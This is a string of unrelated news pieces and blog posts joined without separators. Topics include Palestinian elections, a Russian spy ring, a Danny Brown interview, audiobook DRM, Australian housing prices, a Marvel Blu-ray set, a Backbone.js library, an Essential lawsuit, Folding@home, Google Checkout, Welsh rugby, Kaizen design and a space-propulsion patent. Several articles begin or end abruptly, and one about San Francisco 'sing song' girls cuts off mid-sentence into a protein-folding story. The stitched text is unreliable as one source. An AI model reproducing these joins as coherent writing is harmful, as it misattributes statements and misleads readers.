The Islamist group — considered a terror group by Israel and most Western governments — agreed last month with the rival Fatah movement to hold municipal elections in both Gaza and the West Bank in October, for the first time in 11 years.
Hamas has ruled Gaza since a bloody coup saw it oust PA President Mahmoud Abbas’s Fatah from the coastal territory in 2007. The terror group, which seeks to destroy Israel, has been a frequent critic of Fatah over the PA’s cooperation with Israel on security matters. PA security forces frequently arrest Hamas members in the West Bank, where Fatah is a dominant power fending off Hamas attempts to increase its influence.
According to local opinion polls and political experts, Hamas — which has been enjoying unusual popularity in the West Bank and remains well-supported in Gaza — is expected to make significant gains in the upcoming elections for local councils.Ten alleged members of a Russian spy-ring have been charged in the US with acting as foreign agents.
The suspects are accused of posing as ordinary citizens, some living together as couples for years.
They were charged with conspiracy to act as unlawful agents of a foreign government, a crime which carries up to five years in prison.
A Russian foreign ministry spokesman said the allegations were contradictory.
"We are studying the information. There are a lot of contradictions," spokesman Igor Lyakin-Frolov told the AFP news agency, declining further comment.
Russian Foreign Minister Sergei Lavrov later said Moscow expected Washington to provide an explanation over the the spying row, Russia's Interfax news agency reports.
Nine of the alleged spies also face a charge of conspiracy to launder money, which carries a 20-year prison sentence.
An 11th suspect remains at large, according to the US justice department.
'Deep cover'
Analysis So what were the alleged spies up to? The Department of Justice has made clear that none of the information at stake was classified. Most of what the alleged spies were after seems almost anodyne. While the incident does not look good for the Russians, the initial US reaction has been sanguine. Russian spy stories may be a throwback to the Cold War and sound alarming but they probably don't surprise anyone in Washington, especially not in the government. US officials who travel to Moscow routinely turn off their BlackBerries and leave them on the plane to make sure data on their phones remains out of reach of any tech-savvy Russian intelligence agents. Cold War meets 'burger summit'
Alleged intercepted messages in court documents suggest they were asked to find information on topics including nuclear weapons, US arms control positions, Iran, White House rumours, CIA leadership turnover, and political parties.
The US Department of Justice says eight of the suspects allegedly carried out "long-term, 'deep-cover' assignments" on US soil, working in civilian jobs so as not to arouse suspicion.
They were allegedly trained by the Russian Foreign Intelligence Service (SVR) to infiltrate policy-making circles and collect information, according to court papers filed in the US court for the southern district of New York.
They were told to befriend US officials and send information using various methods to Russian government handlers.
US officials said the spy-ring was discovered in a "multi-year investigation" by FBI agents who posed as Russian handlers and gleaned information from two of the suspects.
'Invisible ink'
Investigators say some of the agents had been using false identities since the early 1990s, using codes and engaging in advanced computer operations, including posting apparently innocent pictures on the internet which contained hidden text.
The FBI also reported observing older techniques, such as messages sent by invisible ink, money being buried next to a beer-bottle marker and "brush pasts" in parks, where agents swap identical bags as they pass each other.
"You were sent to USA for long-term service trip," says one purported message to two of the suspects that was intercepted by US intelligence.
"Your education, bank accounts, car, house etc - all these serve one goal: fulfil your main mission, ie to search and develop ties in policymaking circles in US and send intels."
Generally, spies were allegedly tasked with becoming "Americanised" to be able to do this, with some pursuing university degrees, holding jobs, and joining relevant professional associations, court documents said.
The group allegedly got close to a scientist involved in designing bunker-busting bombs and a top former intelligence official.
Court appearances
Five of the suspects briefly appeared in a Manhattan federal court on Monday, where a judge ordered them to remain in prison until a preliminary hearing set for 27 July.
These included a couple known as "Richard Murphy" and "Cynthia Murphy", who were arrested in Montclair, New Jersey; Vicky Pelaez and a man known as "Juan Lazaro," who were arrested in Yonkers, New York state; and Anna Chapman, who was arrested in Manhattan, New York City.
Another three - Mikhail Semenko and a couple known as "Michael Zottoli" and "Patricia Mills" - appeared in a federal court in Alexandria, Virginia, after being arrested in Arlington, Virginia.
The final two people - a couple known as "Donald Howard Heathfield" and "Tracey Lee Ann Foley" - were arrested in Boston, Massachusetts, and appeared in a federal court in the city.
A suspect known as "Christopher R Metsos" remains at large.
All the suspects except Ms Chapman and Mr Semenko have also been charged with conspiracy to commit money laundering.
Relations between Washington and Moscow have warmed in recent months.
Last week, Russian President Dmitry Medvedev was in Washington having lunch with President Barack Obama.
A senior government official told the BBC that it was unfortunate that such activity was taking place in the US, but that it should not affect the momentum established in the relationship with Russia.Last year, Danny Brown premiered a documentary about his triumphant return to performing in his hometown of Detroit after years of not touching the stage there. The movie, called Live at the Majestic and helmed by Emmy-winning director Andrew Cohn, captures Brown onstage at Motown's historic Majestic Theater. It also follows the rapper in his day-to-day life, features footage of his early days, and documents the making of his breakthrough album XXX. In addition, it spends time with several diehard fans, showing how Brown's music has impacted their lives.
The movie has had very limited screenings, but it is about to be available to everyone. On November 7, you'll be able to see Live at the Majestic for yourself on Apple Music. You can see an exclusive trailer for it above. And if you're going to be in Detroit later this month, you can see Danny and a gang of special guests perform at Bruiser Thanksgiving 4—a very special show that will benefit Inside Out Detroit. Grab your tickets here.
We got Danny on the phone while he was on tour in Scandinavia to talk about seeing yourself on camera, meeting your fans, and his burgeoning career as a sketch comic.
POST CONTINUES BELOW
Image via Publicist
Live at the Majestic had some screenings last year. How did it come to have a wide release now?
To be honest, I can't answer that question. I don't know. [laughs] It's just something I always wanted to do, was to make a live album with a live DVD or something. But it turned into a documentary. And it's cool, 'cause we followed these three kids that are Danny Brown fans, watching them walk through life, how they relate to my music. It was a real humbling experience.
What was it like for you to see the footage of them talking about you and your music?
It kinda fucked me up. All my music is just me venting, like therapy. It’s me putting out all my negative shit that I'm goin' through. And these people are receiving that shit, and they goin' through the same shit, but eventually for both of us, there's a way to get it out. Like therapy, so a negative turns into a positive, you know?
Did you meet them at any point during the process?
I mean I don't wanna give away too much, but yeah, I meet 'em in the documentary.
Actors and filmmakers often have trouble watching their own work. Can you still watch the movie?
I mean I watched it a few times. But the thing with me is I'm a huge fan of documentaries, or just music docs in general. So I’d rather watch a Black Sabbath one than watch me, or watch something else that I can learn from. I saw it a few times, so I know what it is. A couple of scenes is still embarrassing for me, you know? 'Cause it's me, pure unfiltered. I don't know how to censor myself when it comes to being in front of people. So there's a couple things that are embarrassing to me still.
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You had cameras following you around for two years; how do you get used to that?
[Director Andrew Cohn] was working on so much other stuff that it was when he could fit me in to shoot. And [it was] based on my schedule, too. So it wasn't two years straight. It was almost like a catch up every three months. So in some sense, I was getting used to him. I’d miss him a little bit, I’d wanna see him, that's my homie. [laughter] So it was kind of cool to kick it, because it gave me a reason to do shit.
POST CONTINUES BELOW
When you watched the movie, did learn anything about yourself?
Yeah. I learned that I need to take better care of myself [laughter]. And it makes me a little emotional. That's probably why I don’t watch it. There's one scene, where it's like the end of the movie after the show is over, and you see me at home by myself, and it's just me and my cats. And that's when it hit me, like, I’m around all these thousands of people screaming and having fun, but at the end of the night I'm just still at home by myself with cats. It’s like, "Damn, I'm like a fuckin' hermit? A lonely, depressed..." you know? It made me start wanting to get out more. Maybe start enjoying life more, I don't know.
The movie centers around your show at the Majestic Theater. That was your first headlining show in a long time in Detroit, right?
It was my first show in Detroit in a long time, period. I don’t play in Detroit much. If I play in Michigan, I'm usually playing in Grand Rapids or somewhere outside of Detroit. Not much comes to Detroit, unless it's like Young Jeezy. Either Young Jeezy or The Strokes [laughter]. No middle ground.
POST CONTINUES BELOW
What was it like headlining at the Majestic after hanging out there so much in the past?
To be honest with you, there's a reason God or whatever higher being doesn't want me to play shows in Detroit—because it's too stressful for me. I have to deal with my family, I have to deal with all my friends and a lot of people that don't even listen to my music, or ever even thought I would get this far with what I'm doin', but now they're all there.
I always like to keep my job separate from my family. But when I do a show in Detroit, I have no choice but to involve my family, you know? That's the hardest part, like I don't want my mom to come to my shows. But my mom wants to come to my shows. I don’t want my dad around, but my dad's always around, you know? [laughter] When it comes to music. I would love to have them around personally, but it's just like, everybody comes out when the music comes out. But that's what I'm saying: at the end of the night, when you see me, when it's all over with, there's none of those people there. But everybody wanna get 'em lit. So it's a reason I don't do shows in Detroit.
POST CONTINUES BELOW
Part of the film features you looking back on a difficult period of your career—when you were in your twenties,and not finding the audience you wanted and not doing the kind of music you wanted. What was it like to think about those years and to see footage from those years?
To be honest, that makes me the happiest out of the whole film, to see myself back in those times. That was the time when I'd just recently got outta jail and I wasn't sellin' drugs no more. I was living in my grandma's basement, didn't have no money, just broke as fuck and was able to accept that. 'Cause I was coming from where I wasn’t broke as fuck, where I was wearing the flyest shit you could think of, all the high designer shit, having of thousands of dollars in my pocket every day; to after gettin' outta jail, and just sayin', "Fuck that," and surviving off of nickel bags and loosie cigarettes. So it takes me back to that time.
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And as fucked up as that was, I think I was my happiest, because I wasn't doing any hard drugs at that time. There was no such thing as Molly, or me doin' coke or nothin'. I couldn't even afford to do hard drugs at that time [laughter]. I remember me, at that time, I was always just so depressed about wanting to become an artist and wanting to be in the music industry. And by the time I got in it, I already had addiction problems. I think I was just a lot happier at that time and a better person, to be honest. I was pure. I was a pure soul. Even though I was past 25 already. But it's still like I was a baby, gettin' into somethin' that I didn't realize that I was gettin' into, you know? Now I'm full-fledged in the belly of the beast, and it's like fuck, lemme cut my way out.
You said you're a very "look to the future"-type person. Has the process of doing this documentary made you more interested in documenting your own career or your own past?
I wouldn’t say documenting, but just seeing me more in films. It’s the next level for me. I just recently finished a movie and I've just been doin' a lot of TV stuff. Acting and just comedy in general is my big deal. I just hired an acting coach. I'ma have a lot of time off in the winter, so I'mma do a lot of improv classes. I just wanna get into that. Like, I wouldn't mind being hired at Second City, you know?
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Maybe we'll see Danny Brown the improv comic soon.
Yeah, I'm actually gonna try it. I’m dead serious [laughter]. Detroit Second City, get ready for my audition [laughter].
That's awesome. Why else do you want people to watch Live at The Majestic?
For people that wanna be a musician or an artist, it shows the growth and the progress that it takes, and the patience that it takes, to get to where you wanna get to. But also, to me, it's looking at the other people and seeing how my music reflects on them.
I would say, for the artists that watch it, just know that the words they say and the music that they make, people take serious. So it made me more aware of what I talk about in my music and how I wanna present and put myself out there to the world, by seeing these three people. I affected their lives with shit that I'm just havin' fun with, makin' in the studio. So it made me take it a lot more serious, and I hope a lot of other people just take shit more serious. I feel like when XXX came out, wasn't nobody talking about doing drugs in their music. Everybody was selling drugs, or they were like this cool playboy. And now, in this day and age, you got all these rappers talking about doing drugs.
POST CONTINUES BELOW
I've seen the way music affects these people. A lot of this shit, I wouldn't have gotten into it if it wasn't for rap music. So, I just wanna let people know that people do take shit literally and you gotta just be careful with what you talk about, if you’re not honest. I was talking about what I was doing. A lot of these people are just saying it for entertainment purposes, but you really do have these kids out here trying these drugs. It’s not cool.
POST CONTINUES BELOW
I have to ask: speaking of music, do you have any new music on the way?
Yeah. I'm working on my next album right now. I can't really talk too much about it. I would just say it's being produced by one producer, who’s legendary in hip-hop. And it's gonna be a big deal [laughter].
Anything else you want people to know about Live at The Majestic or whatever else you've got going on? Your guest spot on 30 Rock or whatever?
Nah, I wouldn't say 30 Rock. I would be on Detroiters. You know, Comedy Central is my family. Adult Swim’s my family. So I’ll be doing stuff with them a lot. And I'm in the White Boy Rick movie with Matthew McConaughey, so that comes out in January. We'll see my acting debut with that.
Get ready for me to be on the screen more and involved in comedy more. Maybe one day, Live at The Majestic might be Live at The Majestic, a comedy album, I don't know. I just know I'm gonna be making music a hobby again and not a job, and I'm blessed to be able to do that. I'm able to make money in other places now, and so I don't have to concentrate on doing 300 shows a year. Whereas some other artists don't have that chance. So I'm able to transfer my career into other avenues and I’m taking advantage of it.
POST CONTINUES BELOW
So this movie about a live show marks good-bye to your heavy touring artist days?
I wouldn't say that. If you pay like you weigh, I’mma be there. But just know that music, right now, I'm not looking for it to be my number one means of income. So I'm not hopping up and waking up for a dollar just to make music anymore, where I probably would've two years ago. And I'm not Drake or Kanye rich to say shit like that. But I'd rather put that money or that time into something else that might make me more money in the future.All library audiobooks going to DRM-free MP3s
Ben writes, "Overdrive, which is one of the main suppliers of downloadable audiobooks to public libraries, announced that it is retiring its DRM-encrusted.WMA formats and pushing everything to DRM-free.mp3s."
This is a big deal. Audiobooks are the last holdouts for DRM in audio, and one company, Audible, controls the vast majority of the market and insists upon DRM in all of its catalog (even when authors and publishers object). Itunes, Audible's major sales channel, also insists on DRM in audiobooks (even where Audible can be convinced to drop it). Audiobooks can cost a lot of money, and are very cumbersome to convert to free/open formats without using illegal circumvention tools. To stay on the right side of the law, you have to burn your audiobooks to many discs (sometimes dozens), then re-rip them, enduring breaks that come mid-word; or you have to play the audio out of your computer's analog audio outputs and redigitize them, which can take days (literally) and results in sound-quality loss.
Overdrive going DRM-free for libraries is a massive shift in this market, and marks a turning point in the relationship between the publishers/creators and the technology companies that act as conduits and retail channels for their work. It's especially great that libraries are getting a break, as they have been royally screwed on electronic books and audiobooks up until now.
This is in response to user preferences, widespread compatibility of MP3 across all listening devices and the fact that the vast majority of our extensive audiobook collection is already in MP3 format. This includes the audiobook collections from Hachette, Penguin Group, Random House (Books on Tape and Listening Library), HarperCollins, AudioGo, Blackstone, Tantor Media and dozens of others. Our publisher relations team is working closely with the very few remaining publishers who require WMA to seek permission to sell their titles in MP3 for library and school lending. We will soon be communicating the discontinuance of WMA sales, and then at a future date, we will announce when MP3 files will be the only supported format through OverDrive platforms. For libraries and schools that currently have WMA audiobook files in their collection, we will be working with the publishers of those titles to gain permissions to update your inventory to MP3. In the event that some titles are unavailable, an alternate solution will be offered to make up for the lost titles. Be on the lookout for announcements on our blog and from your Collection Development Specialist for a timeline of this process.
OverDrive announces plan for audiobooks to be solely available in MP3 format [Heather Tunstall/Overdrive]
(Thanks, Ben!)
(Image: DRM PNG 900 2, a Creative Commons Attribution Share-Alike (2.0) image from listentomyvoice's photostream)Auction clearance rates dropped to about 65 per cent in Melbourne and 55 per cent in Sydney (and far lower in Brisbane). Since the Reserve Bank is threatening more rate rises, it is not a question of if a housing correction will happen, but when. Consider this: in 1994 the average annual wage in Australia was $28,080. By 2010, it had risen to $50,824. That is a very healthy increase of 80 per cent. If people spent the same proportion of their income on their home in 2010 as they did in 1994, that would have resulted in an 80 per cent increase in house prices (subject to other factors being equal, such as number of people working in each household). But property prices have risen far more. In 1994, the median property price was $148,800, while in 2010, RP Data found the median was about $450,000. That is an increase of more than 200 per cent. Had property prices increased at the same level as wages, the median house price in Australia would be about $267,000 - 41 per cent below what they are. (By contrast, had house prices simply tracked the consumer price index, using 1994 as a base, house prices should be $230,640 - or about 49 per cent lower than at present).
These figures are not altogether different from findings in The Economist, which determined that houses in Australia were overpriced by 56 per cent, making them the world's most expensive based on a price-to-rent comparison. While housing bulls will point to a shortage of property or rising incomes, the real reason for house price increases is far more nefarious. Since 1994, the ratio of housing debt to housing assets has risen from 15.8 per cent to 28.7 per cent. So even though house prices have increased, the increase in the proportion of debt used has been far greater. Almost all the outperformance in the housing market can be attributed not to any shift in the fundamentals of people having more disposable income, but to people borrowing more. The Noosa experience has shown that Australian housing prices are not immune to basic laws of investment. As the price of an asset rises, its yield falls. It means that to justify a higher intrinsic value, the future income generated by the asset must also rise. That has not happened with housing. This is because the increase in house prices since 1994 has not been driven by higher rentals (or higher household incomes), but because purchasers are using more leverage to pay more for the same asset. Unsurprisingly, rental amounts have increased at a relatively similar level to household earnings. As a result, net yields on housing in capital cities have slumped to about 2 per cent - far lower than the return one can receive in the bank.
As in the United States, the culprit in the rapid price rises in property has been mortgage lenders, who have effectively funded the boom. And just in case you thought the banks had learned their lesson, last week Australia's largest home lender, the Commonwealth Bank, announced it would allow mortgage customers to borrow up to 95 per cent of the ''value'' of the property, up from 90 per cent. This will have the dual effect of increasing the bank's short-term profits and further increasing the bank's risk profile by exposing its balance sheet to even more over-priced housing. An asset can be valued with reference to the income it generates, not by how much someone (using mostly other people's money) is willing to pay. As many property buyers will soon find out, price and value are two very different beasts. Adam Schwab is the author of Pigs at the Trough: Lessons from Australia's Decade of Corporate GreedWith Marvel's Cinematic Universe ending what they're calling "Phase Two," there's a giant collector set coming to fans who just can't get enough of the movies. Marvel announced the release said collector set for December 8, which features 6 films, a replica orb, from Guardians of the Galaxy, and a slew of other cool props, which will cost $219.99 for the Blu-ray package.
Here's the official info for everything that's inside.
The limited-edition, 13-Disc Marvel Cinematic Universe: Phase Two Collection invites you to hold the greatest power in the cosmos in your grasp – an orb containing one of the legendary Infinity Stones! Plus Blu-ray 3D™, Blu-ray™ and Digital Copies of all Phase 2 films, in collectible packaging designed by artist Matt Ferguson. This set overflows with stunning Marvel memorabilia, including a gold-foiled page from the book of Dark Elves, an ancient drawing from the Morag vault, Avengers and S.T.R.I.K.E. uniform patches, a replica of the Tony Stark Tattoo from Marvel’s Iron Man 3, and much more! CONTENT: Marvel’s Iron Man 3 (Blu-ray 3D + Blu-ray + Digital Copy)
Marvel’s Thor: The Dark World (Blu-ray 3D + Blu-ray + Digital Copy)
Marvel’s Captain America: The Winter Soldier (Blu-ray 3D + Blu-ray + Digital Copy)
Marvel’s Guardians of the Galaxy (Blu-ray 3D + Blu-ray + Digital Copy)
Marvel’s Avengers: Age of Ultron (Blu-ray 3D + Blu-ray + Digital Copy)
Marvel’s Ant-Man (Blu-ray 3D + Blu-ray + Digital Copy)
1:1 Prop Replica of the Orb
PLUS an Exclusive Bonus Content Disc with 166 minutes of bonus material and more! BONUS FEATURES: From Here To Infinity: Phases 2 & 3 Of The M.C.U.
Journey back through Marvel’s Phase 2 films, from its launch in Iron Man 3 through its fulfillment in Ant-Man, to see how individual characters grow and change, how their relationships with each other evolve over time, and how the universe itself expands with each story. Listen to filmmakers discuss the first set of Phase 3 films– Marvel’s Captain America: Civil War, Marvel’s Doctor Strange, and Marvel’s Guardians of the Galaxy 2 – and discover there are no limits to the adventure!
Phase 2 Tag Scenes: A Making-Of
Learn the story behind the post-credit sequence in Marvel’s Phase 1 and 2 movies, and explore how the scenes connect and unify the far-flung characters and worlds of the Marvel Cinematic Universe.
Marvel One-Shot: The Consultant w/Audio Commentary By Clark Gregg
Marvel One-Shot: A Funny Thing Happened On The Way To Thor’s Hammer With Audio Commentary By Clark Gregg
Marvel One-Shot: Item 47 With Audio Commentary By Louis D’Esposito, Max Hernandez, Titus Welliver And Jesse Bradford
Marvel One-Shot: Agent Carter With Audio Commentary By Louis D’Esposito And Hayley Atwell
Marvel One-Shot: All Hail The King With Audio Commentary By Drew Pearce And Ben Kingsley
Iron Man 3: Deleted Scenes
Iron Man 3: Preproduction Creative
Thor: The Dark World: Deleted Scenes
Thor: The Dark World Preproduction Creative
Captain America: The Winter Soldier: Deleted Scene With Audio Commentary By Anthony Russo, Joe Russo, Christopher Markus, Stephen McFeely
Captain America: The Winter Soldier – Preproduction Creative
Guardians of The Galaxy: Deleted Scenes
Guardians of The Galaxy: Preproduction Creative
Avengers: Age Of Ultron: Deleted Scenes
Avengers: Age Of Ultron: Preproduction Creative: Hulk vs. Hulkbuster
Ant-Man: Deleted Scenes
Ant-Man: Preproduction Creative RELEASE DATE: December 8, 2015 PRODUCTS: Blu-ray 3D, Blu-ray and Digital HD AUDIO: Blu-ray 3D, Blu-ray, Digital HD = English 7.1 DTS-HDMA, French-Canadian 5.1 Dolby Digital, Latin Spanish 5.1 Dolby Digital, English DVS 2.0 Dolby Digital LANGUAGES: English & Spanish, French SUBTITLES: English, French & Spanish
This collection will be available on December 8. Click here to pre-order.Doing mobile web apps can be challenging, not that it’s really harder than doing desktop style app, it’s just different. Working with mobile you need to focus on simplicity & performance.
When I started dabbling into doing mobile web apps with Backbone.js I really wanted to abstract from the start the mobile part to focus on building great apps. That’s why I builded Backbone Mobile Components.
It’s 7 components that helps you creating mobile apps with backbone easier. It also follows the backbone mantra, it does not get in the way of your architecture, you just extend those components like you would in backbone.js & there you go.
So the demo is a bit.. well.. underwhelming. I really wanted to have a Hacker news reader clone but that will have to wait. Some ameliorations are also be coming along later.
Complete documentation & download is here.
One nice thing is that those components are very well documented, that should help understanding what’s happening behind scene. They are also unit tested, but I am far from full coverage.
Here what you get:
Master page view
Easily setup a page view system for your mobile app.
Master topbar view
Creates a fixed top toolbar with buttons, sub menu & dynamic page title
Master menu view
Let you create a side action menu that can tie-in easily in the topbar.
Master popin view
Let you create mobile overlays easily
Master list view
Helping you handle list views that are pretty coming in mobile apps.
Mobile animation component
Helps you serve animation to device that can handle it. Utilities component
Utilities that you can use throughout your app like a phone object that tells you everything we can know about the device.
Wrapping up
As you guys can imagine these components are derivative of my work at CakeMail, I hope to provide a better demo & better fledged CSS components soon.Josh Miller/CNET
Andy Rubin's Essential Products has slipped right back into hot water.
Keyssa, a wireless technology company backed by iPod co-creator Tony Faddell, is suing Essential, founded by Android co-creator Rubin, in a lawsuit filed on Monday that alleges the company stole trade secrets, according to Reuters.
Keyssa alleges that Essential for 10 months considered using the company's wireless tech for its first phone, the Essential Phone, before opting to use a competitor, SiBEAM. During that 10-month period, Essential was educated by Keyssa engineers on the technology and went on to use that information despite not partnering with the Faddell-backed company, according to the lawsuit.
This information amounts to trade secrets, Keyessa said, and Essential breached a nondisclosure agreement by using it. The practical application was the Essential Phone's wireless connector, which attaches to a 360-camera accessory.
Keyssa said, "We provided extensive engineering guidance and confidential know-how to help Essential develop the wireless accessory connector used to connect the Essential Phone to accessories such as the Essential 360° Camera. Keyssa has not been compensated for Essential's use of this guidance and know-how.
"We are pursuing this action because our attempts to resolve this matter through discussions with Essential have not been successful."
Essential had trouble back in June when phone accessory maker Spigen sent the company a cease-and-desist letter over the use of the name "Essential," reported Android Police. Spigen had trademarked "Essential," but not specifically for phones.
An Essential spokesperson told CNET Friday that they believe the claims have no merit.
"Essential has created pioneering technology that is not based on any Keyssa know-how. Their claims have no merit and we will defend ourselves vigorously as we continue to deliver our first products to customers," the spokesperson said in an emailed statement.
First published Oct. 16, 2 a.m. PT.
Update, Oct. 17 at 4:34 p.m.: Adds comment from Keyssa.
Oct. 20, 3:43 p.m.: Adds comment from Essential.Four Chinese Women and their Struggle for Justice - The Broken Blossoms Case of 1935
Introduction
Sometimes the most interesting stories are the ones you stumble upon researching something else. In my quest to find the music of San Francisco Chinatown circa mid-1800s, I came across references to “sing song” girls who entertained in brothels and restaurants. Who were these women?
As I read about prostitution in San Francisco |
radio telescope signals for signs of extra-terrestrial intelligence.
FAH uses distributed computing to examine protein folding and how it maybe linked to diseases.
Proteins that do not fold correctly have been implicated in diseases such as Alzheimer's, Huntingdon's, BSE and many cancers.
Speed test
Until March this year, FAH only ran on PCs.
The program had around 200,000 computers participating in the program, the equivalent of about 250 teraflops (trillion calculations per second).
The addition of 670,000 PS3s has taken the computing power of the network to more than one petaflop.
By comparison BlueGene L, which tops the list of most powerful supercomputers, has a top speed of just 280.6 teraflops.
The boost is in part because of the PS3's powerful processor, known as the "cell", which runs up to 10 times faster than current PC chips.
"It is clear that none of this would be even remotely possible without the power of PS3, it has increased our research capabilities by leaps and bounds," said Prof Pande.I have been using Google Checkout as an option for making payments on my website. For the past two months I have jumped through every hoop they have asked me to, provide tracking numbers, banking details, vendor contacts, emailed back and forth with their customer support all with the understanding that my account was in process and my funds would be released soon. Well my account has grown to $126,000 and Google still won't pay out any of my funds! I came to the end of my string after the 20ith something email when I got the message below. They have over $126,000 of my money and they won't even pick up phone to call me! Hello P----, Thank you for your reply. I understand you've shipped over 700 orders to your buyers. However, you've not sent us tracking numbers for those orders. Please send us proof of delivery (tracking numbers) so our specialists can initiate your payouts. To clarify, we have contacted some of your buyer(s) and expect email confirmations once the goods are received. In addition, at this time, we don't offer phone support for Google Checkout. We look forward to providing additional support options in the future. If you have specific questions, please reply to this email and we'll be happy to address them. If you need immediate assistance, you can also visit the Merchant Help Center at https://checkout.google.com/support/sell or the Merchants Forum at http://www.google.com/support/forum/p/checkout-merchants?hl=en for frequently asked questions about Google Checkout. Sincerely, A------ The Google Checkout TeamSam Warburton left out in the cold by regions
Sam Warburton has no regional team to play for next season after the Welsh regions reaffirmed their stand against central contracts.
The Lions captain signed a three-year deal in January as the first of six high-profile captures planned by the Union. After failing to add more players, including another Lions captain in Alun-Wyn Jones, Warburton is on his own.
While Leigh Halfpenny chose to treble his money by joining Toulon, the Scarlets pair of Scott Williams and Rhys Priestland signed new contracts with their region.
The Ospreys have accused the Union of a bidding war in their attempt to sign Adam Jones, the Lions tighthead who has yet to declare whether his next move will be to sign for the WRU, move to the Premiership or stay in Swansea.
The regions are still waiting to settle their conflict with the WRU. Their united action against picking any player on a national contract will top the agenda, if and when they get back to the negotiating table.
PETER JACKSON
Tagged Sam Warburton, WalesI believe that these same steps can be used to apply Kaizen methods to design.
Ask small questions
Often, as designers, we’re tasked with creating something that is a solution to a ‘BIG’ problem.
Please, take note of the apostrophes here.
I put the word big in apostrophes because sometimes we’re so driven to think that EVERYTHING is a BIG problem. Here’s some questions to ask yourself, and perhaps your team:
What if we took a step back and thought about it for a second/minute/hour? Did someone base the definition of a BIG problem around real data? Is there a BIG problem because all of your competitors already have the feature you are ‘missing’? Is the problem BIG because you need a quick fire ‘solution’ based on someone’s opinion?
More often than not, we can start at the very beginning by asking small questions to get a better sense of what we are going to do going forwards.
Why are we doing this? How will we find out? What’s the REAL problem here? What are we going to do about it? Is there actually a problem at all?
Small questions, leaner thinking = better decision making upfront.
Small questions can help you validate assumptions faster.
Don’t cripple yourself by making the problem big before you’ve even started to engage your brain in thinking about a solution.
You can instil fear in people by simply making the problem too big in the first instance.
What if you suddenly realise the problem isn’t what you thought it was or you are able to go upstream and solve the problem in a completely different way.
Thinking small
Again, we can start small and build up many small things to make the bigger picture. I love to design with a holistic view and everyone has a different way of thinking and designing for things.
Some will start with a blue sky method, drawing up grand designs and then start moving backwards to what they can define as their MVP.
Others may start with a specific problem, splitting this into smaller tasks and then perhaps those into smaller sets of subtasks.
Why not just start small and keep asking the questions of WHY, HOW and WHAT?
It’s possible to keep thoughts small, however strange that might sound. What is the one, small thing that can lead towards a solution for a problem?
Small problems
Now that we’re asking small questions and we’re thinking small we can put these together and hopefully start solving small problems!
Maybe you realise that a solution to a problem is simply presenting the collection the data in a different way.
Here’s an example:
You decided it was a bright idea to remove labels from your form fields and you wrote some snappy, but not completely logical copy for your sign up form.
You’re finding that people aren’t understanding the failed validation on the form, even though your copy was ‘perfect’.
What if you put that label back in that said “First AND Last names”.
Are more people now successfully finishing and submitting the form?
That’s a small problem right there. The solution is also pretty small.
The results, however, could be BIG.
Small moments
Now we can start to think about small moments. By that, I don’t mean you having a small moment because you just designed the most amazing thing you’ve ever done (!)
I mean, recognise things like the example above.
That could be the smallest change you have ever made to the design of something (barely even touching the graphical elements of things, but the copy.
It could, however, be one of the biggest successes you’ve had in a while. You broke the problem down into something much smaller, simpler and faster to solve.
You may just see a real reason to use kaizen in your design thinking from now on.
Aren’t a multitude of small moments the same as one big moment? If not greater.
Small rewards
Now, can you see what’s happening here?
You’ve thought about things in a smaller way.
You’ve defined a small problem.
You’ve found a small moment.
Now it’s time to give yourself a small (or maybe BIG) reward!
This isn’t about dealing out big bonuses, or about gloating about a big release. This is about understanding that by breaking down things and working in a Kaizen way you’ve made a solution to a problem which seemed small on the surface, but in reality it’s part of the bigger picture.
How many more of these can you find and put into action?
One of the best rewards is seeing results as a direct action of making something smaller.
Benefits of using Kazien over time. Many, small, rapid movements.
Long-term commitment
Kaizen involves long-term commitment when it comes to thinking about things and making those small incremental changes to a process.
Like I mentioned at the very beginning of this article, Kaizen is a method of continuous improvement, over time so you’ve got to be in it for the long-haul.
Once you start putting this into practice you’ll soon see the ideas matching together and giving you successes where you may not have expected them before.
The long game works and it’s made up of lots of smaller plays :)
No finish line
The idea of Kaizen is to be continuous improvement over time.
Therefore, I really believe the idea of Kaizen fits with the mentality of a lot of companies these days.
By that, I mean that the companies who really practice and deliver in an agile way.
They are building their products through iterative design and testing.
They are the ones who are more likely to already be performing Kaizen in their day to day work.
When you believe in a finish line then you’re more than likely working towards what’s commonly known as a ‘big bang release”.
With a big release at the end of many months worth of work you and the team you are working in or for might have been burnt out.
Where were all those small thoughts, small moments and small rewards?
What if there wasn’t any reward at the end of the months of hard work, when you finally released.
What did you learn? What did you gain?
Celebrating smaller moments all the time, on an ongoing basis definitely sounds better to me. Better than being completely blown out and not able to celebrate anything because you made the problem so big in the first place.
Don’t let the confusion surrounding a problem give a hazy view into what’s really happening.
When was the last time you thought about turning that big idea into a set of smaller ideas or even better, a small idea?
Start small. Win small.
Win BIG.Precocious young physicist Aisha Mustafa just patented a new system that could propel spacecrafts to the final frontier without using a drop of fuel.
In short her system taps one of the odder facets of quantum theory, which posits that space isn't really a vacuum. It's really filled with particles and anti-particles that exist for infinitesimally small periods of time before destroying each other. Mustafa thinks she can harness them to create propulsion, resulting in space craft that need little-to-no fuel to manoeuvre around in space. Fast Company reports:
Mustafa invented a way of tapping this quantum effect via what's known as the dynamic Casimir effect. This uses a "moving mirror" cavity, where two very reflective very flat plates are held close together, and then moved slightly to interact with the quantum particle sea. It's horribly technical, but the end result is that Mustafa's use of shaped silicon plates similar to those used in solar power cells results in a net force being delivered. A force, of course, means a push or a pull and in space this equates to a drive or engine.
Propulsion in space is incredibly easy to achieve because there aren't any particles to get in the way, but until now we've been completely reliant on engines to do the work. Engines create propulsion by burning chemical fuels — these fuels are heavy and expensive, making some of the crazy exploration we'd like to do impossible. Mustafa's system could let the laws physics do the heavy-lifting instead.
Of course, Mustafa needs to work on the design much more and figure out how to get funding for the ambitious adventure. We hope some organisation with deep pockets steps up because the science is remarkable. [OnIslam.net via Fast Company]
Image Credit: Jezper/ShutterstockStudents in schools across Tennessee may be receiving sex education ridden with factually dubious claims.
A recent sex education presentation at Hillsboro High School in Nashville contained arguably questionable statements, according to audio obtained by the Tennessean. Speakers from a nonprofit group said there’s a new sexually transmitted disease as deadly as AIDS and that having sex with eight partners is the health equivalent of drinking spit from everyone in the classroom.
Joi Wasill, the founder of the nonprofit group Decisions, Choices and Options, and Beth Cox, a Sumner County School Board member involved in the group, also told students that medical textbooks say that life begins at conception and that many STDs make women barren, the report notes.
Of the nonprofit's presentation, which is given to students in 50 high schools across the state, Vanderbilt assistant professor Dr. Mary Romano said the claims were “not necessarily untrue, but they were taken out of context," according to the local outlet WSMV-TV.
